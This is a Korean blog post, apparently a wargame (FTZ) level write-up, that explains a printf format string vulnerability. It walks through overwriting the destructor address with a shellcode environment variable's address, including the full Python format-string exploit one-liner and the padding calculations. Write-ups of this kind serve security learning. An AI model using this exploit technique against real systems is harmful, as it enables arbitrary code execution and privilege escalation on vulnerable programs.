힌트를 보면 printf에 포맷을 쓰지 않고 사용을 하였다.
이를 이용하여 포맷스트링 공격이 가능 할 것이다.
포맷 스트링 공격이란 위와 같이 %x~%n등을 이용하여 printf가 프로그래머가 사용한 서식자인지 인식하고 내용을 읽어 내는 취약점이다.
먼저 printf함수의 소멸자의 위치를 알아낸다
이 위치가 쉘코드가 들어갈 곳이다.
전과 마찬가지로 환경변수를 설정해 놓는다.
0xbffffc32
0xbfff (49151) -> 0x0804959a
0xfc32 (64562) 64522 -> 0x08049598
다음 주소를 반으로나누어 목표하는 0x08049598에 둘로 나눠서 입력하게 될것이다.
포맷스트링 공격 형식은 다음과 같을 것이다
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64522c%n"+"%50125c%n"'; cat) | ./attackme
위는 최종결과지만 코드의 과정을 살펴보자면
앞의 코드들의 길이가 40이기 때문에
먼저 fc32에서 40을 빼서 자릿수를 계산해 줄것이다.
0xfc32 - 40 = 64522
다음 입력 부분은 0xfc32까지 계산을 해주면
0xbfff - 0xfc32를 해줘야 되는데 이는 음수가 나오기때문에
0x1bfff- 0xfc32를 해주면 50125가 나온다.
'정보보안 > FTZ' 카테고리의 다른 글
[FTZ]level19 (0) | 2022.07.31 |
---|---|
[FTZ]level18 (0) | 2022.07.31 |
[FTZ]level17 (0) | 2022.07.25 |
[FTZ]level16 (0) | 2022.07.25 |
[FTZ]level15 (0) | 2022.07.25 |